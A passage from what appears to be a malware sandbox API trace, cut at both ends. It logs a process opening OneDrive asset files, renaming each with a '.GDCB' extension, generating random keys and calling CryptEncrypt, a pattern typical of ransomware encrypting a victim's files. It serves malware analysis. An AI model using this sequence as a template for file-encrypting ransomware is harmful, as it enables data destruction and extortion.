Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\settings.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\settings.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0198.934] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.935] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.936] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x780, lpOverlapped=0x0) returned 1 [0198.944] VirtualAlloc (lpAddress=0x0, dwSize=0x780, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.948] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\settings.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\settings.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\settings.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\settings.svg.gdcb")) returned 1 [0198.952] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0198.953] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.954] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.954] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0198.954] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.954] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0198.955] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.956] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.956] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0198.956] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.956] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0198.958] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089bb8) returned 1 [0198.958] CryptGetKeyParam (in: hKey=0x5089bb8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.958] CryptEncrypt (in: hKey=0x5089bb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0198.959] GetLastError () returned 0x0 [0198.959] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.959] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0198.961] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089d38) returned 1 [0198.961] CryptGetKeyParam (in: hKey=0x5089d38, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.961] CryptEncrypt (in: hKey=0x5089d38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0198.961] GetLastError () returned 0x0 [0198.961] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0198.961] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\settingsdisabled.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\settingsdisabled.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0198.963] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.964] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.965] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x56f, lpOverlapped=0x0) returned 1 [0198.992] VirtualAlloc (lpAddress=0x0, dwSize=0x570, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.996] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\settingsdisabled.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\settingsdisabled.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\settingsdisabled.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\settingsdisabled.svg.gdcb")) returned 1 [0199.000] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0199.001] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.002] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.002] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0199.002] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0199.002] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0199.003] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.004] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.004] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0199.004] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0199.004] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0199.007] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508a0f8) returned 1 [0199.007] CryptGetKeyParam (in: hKey=0x508a0f8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0199.007] CryptEncrypt (in: hKey=0x508a0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0199.007] GetLastError () returned 0x0 [0199.007] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.007] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0199.009] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508a4b8) returned 1 [0199.009] CryptGetKeyParam (in: hKey=0x508a4b8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0199.009] CryptEncrypt (in: hKey=0x508a4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0199.009] GetLastError () returned 0x0 [0199.009] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0199.009] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\stackedIceCubes.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\stackedicecubes.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0199.011] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0199.012] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0199.013] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x12c7, lpOverlapped=0x0) returned 1 [0199.022] VirtualAlloc (lpAddress=0x0, dwSize=0x12d0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0199.026] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\stackedIceCubes.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\stackedicecubes.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\stackedIceCubes.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\stackedicecubes.svg.gdcb")) returned 1 [0199.030] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0199.031] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.032] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.032] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0199.032] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0199.032] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0199.034] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.034] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.034] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0199.034] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.035] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0199.037] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508a138) returned 1 [0199.037] CryptGetKeyParam (in: hKey=0x508a138, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0199.037] CryptEncrypt (in: hKey=0x508a138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0199.038] GetLastError () returned 0x0 [0199.038] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0199.038] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0199.040] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508a378) returned 1 [0199.040] CryptGetKeyParam (in: hKey=0x508a378, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0199.040] CryptEncrypt (in: hKey=0x508a378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0199.040] GetLastError () returned 0x0 [0199.040] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.040] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\waterGlass.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\waterglass.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0199.042] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0199.043] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0199.044] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x72d, lpOverlapped=0x0) returned 1 [0199.060] VirtualAlloc (lpAddress=0x0, dwSize=0x730, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0199.065] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\waterGlass.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\waterglass.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\waterGlass.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\waterglass.svg.gdcb")) returned 1 [0199.101] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0199.103] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.104] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.104] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0199.104] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.104] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0199.105] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.106] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.106] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0199.106] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.107] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0199.109] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x5089e38) returned 1 [0199.109] CryptGetKeyParam (in: hKey=0x5089e38, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.109] CryptEncrypt (in: hKey=0x5089e38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0199.109] GetLastError () returned 0x0 [0199.109] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.109] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0199.111] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a0b8) returned 1 [0199.111] CryptGetKeyParam (in: hKey=0x508a0b8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.111] CryptEncrypt (in: hKey=0x508a0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0199.112] GetLastError () returned 0x0 [0199.112] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0199.112] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\LoadingPage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\loadingpage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0199.113] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0199.115] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0199.116] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x1b10, lpOverlapped=0x0) returned 1 [0199.124] VirtualAlloc (lpAddress=0x0, dwSize=0x1b10, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0199.128] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\LoadingPage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\loadingpage.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\LoadingPage.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\loadingpage.html.gdcb")) returned 1 [0199.174] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0199.176] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.177] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.177] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0199.177] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.177] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0199.179] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.179] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.179] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0199.179] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0199.180] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0199.182] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a538) returned 1 [0199.182] CryptGetKeyParam (in: hKey=0x508a538, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.182] CryptEncrypt (in: hKey=0x508a538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0199.182] GetLastError () returned 0x0 [0199.182] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.182] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0199.184] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a5b8) returned 1 [0199.184] CryptGetKeyParam (in: hKey=0x508a5b8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.184] CryptEncrypt (in: hKey=0x508a5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0199.184] GetLastError () returned 0x0 [0199.184] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0199.184] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\OneDriveLogo.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\onedrivelogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0199.186] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0199.187] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0199.188] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x1450, lpOverlapped=0x0) returned 1 [0199.196] VirtualAlloc (lpAddress=0x0, dwSize=0x1450, flAllocationType=0x3000, flProtect=0x4) returned 